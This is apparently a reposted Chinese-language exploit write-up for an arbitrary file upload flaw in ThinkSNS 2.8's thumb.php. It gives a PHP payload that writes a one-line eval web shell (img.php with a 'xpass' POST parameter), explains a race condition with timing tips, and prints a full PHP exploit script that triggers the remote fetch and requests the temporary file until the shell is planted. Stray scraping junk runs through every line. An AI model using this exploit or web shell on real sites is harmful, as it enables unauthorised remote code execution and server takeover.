漏洞版本
) ~- D* m& r2 T存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
0 ^2 f( R" M, s, s( L漏洞文件1 G* G& x8 @9 Q# x4 J: g; b p
存在漏洞的文件为:thumb.php1 |, h b2 h. ^+ K! c% }( }- M% O
作者:韦鲲鹏; L/ L) A' w' X5 t7 j- D
1、 准备如下PHP文件并上传到服务器(自己的)。
. R9 B8 L& F% h+ k7 R+ A2 T- j文件内容如下:9 t7 | z# j2 e# j
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>2 |& m5 M, y/ `# p
2、 计算出临时的文件名:
0 _: g: T+ ]. l) J$ j8 z这里我们可以看文件的99行(刚刚是不是没注意呀!)。' f5 k1 [. m/ |$ M6 @+ R: K% e
3 @+ P3 h: h. `- p0 n1 M$ w3、 上传临时文件。
* y* r+ {' j) m1 l# v4、 访问临时文件。
! y8 a0 I; T4 i9 B- j但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。). F# l# e5 i6 Q0 z* y
Exploit文件内容如下:(这个我就不详细解释了)
( r! m4 Y7 C6 r<?php7 w, k* ^9 p2 e+ K8 M
error_reporting(0); | y2 h% p5 C! d8 I
set_time_limit(0);) n. h3 W6 z- L6 h
ini_set(“default_socket_timeout”, 5);! y: w7 W+ y' D# J
function http_send($host, $port, $headers) {$ R n4 B7 ?! Y* i2 E! a
$fp = fsockopen($host, $port);: X& |9 H% U* b+ s+ S5 v/ p1 }
if (!$fp) die(‘Connection -> fail’);
: u% U4 @. C) w6 f% ^1 zfputs($fp, $headers);
& v1 P% c# m! O, D: v& w) s) L5 zreturn $fp;- m+ l- a$ ~ R, k
}
; T: }, A, U, L4 J' v. S& dfunction http_recv($fp) {
) s X0 N/ ]2 g$ H3 v$ret=”";3 s1 E+ Y1 n' s
while (!feof($fp))
3 h, H+ f- |: J' h1 w ~# q( s$ u) [$ret.= fgets($fp, 1024);
. r7 m; D1 @# X$ p8 Cfclose($fp);
4 ?) }, j) n# E1 ^5 m2 W7 dreturn $ret;# m* s. u0 F: ]! N' P/ \
}
9 h5 I- m2 G- W- [" b8 tprint “\n# ThinkSns Arbitrary File Upload #\n”;
- i2 {) `% V; Z+ B& j# w9 iprint “# Discovered by 韦鲲鹏 #\n\n”;
0 x: P- H# E0 Z3 w: [2 {if ($argc < 4) {, Z- V( S' h. t
print “Usage: php <host> <path> <romote_url>\n”;
$ w& j+ y7 U% a1 R7 d Jprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
2 K7 i( {' _1 S7 Adie();
2 h- \2 ?0 P9 `" t8 s l9 I}
4 U8 ?: @( P$ m' c6 y& m3 P$host = $argv[1];
( G1 p7 j+ Z0 r- u# H' Q$path = $argv[2];+ F' i/ C0 a) D
$url = $argv[3];
; X6 g+ I) P; P0 b. I$i=0;% O/ `; D3 V6 ^4 T2 {/ f
//上传数据包
( r+ M* Y {1 I* C/ a! v$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;+ n# O" Z! I- Q0 _* k! @
$headers_up .= “Host: “.$host.”\r\n”;
/ x" f9 m- u9 _% s$headers_up .= “Connection: close\r\n\r\n”;
; h1 c5 a; K- g- `$ |echo $headers_up;
; x" s/ u- m; m7 x//临时文件访问数据包
8 Q* O8 B" R0 Z: @$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;; _& x z( f- O% w( S
$headers .= “Host: “.$host.”\r\n”;) @. `( S7 b4 D6 Z7 N. w
$headers .= “Connection: close\r\n\r\n”;4 k, G0 S( r1 Q' Y4 j) X
echo $headers;
- _; P# e* y! |) o$ Kwhile(++$i<10) {) [1 Q2 u0 G0 J, {4 u: n
fclose(http_send($host, 80, $headers));
6 a5 k2 O# {* \. j5 S}
" Y1 G n5 p4 ^; a7 E q- C$ nfclose(http_send($host, 80, $headers_up));
( N& [; ~$ L' r. f7 A1 s+ wwhile(++$i<50) {
* c9 `' M. h- ~& o+ Rfclose(http_send($host, 80, $headers));
' G" i5 r- @; j6 @! N2 ?0 R1 Y}
! K7 C& W4 L; b( f& y' y* K, O$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
5 x8 I9 g% t+ c$headers .= “Host: “.$host.”\r\n”;% [( G4 S* \: F1 c( c# I
$headers .= “Connection: close\r\n\r\n”;
* m( i2 s6 T' [: u$res=http_recv(http_send($host, 80, $headers));! p7 l0 Q) h* { j' d/ O3 ]
if(preg_match(‘/200 OK/’,$res)) {% h6 }. s' [; _; V
print “Success!\n\n”;
$ b( }. ]0 F H$ y% w3 N} else {
2 t9 a0 y2 K! f6 F; q1 s- ~print “Fail!\n\n”;# C! G9 O# i! T: G1 o" e
}
$ K' _4 g/ x+ X0 y; Z* @?>, [+ }5 w k- o$ i5 g
|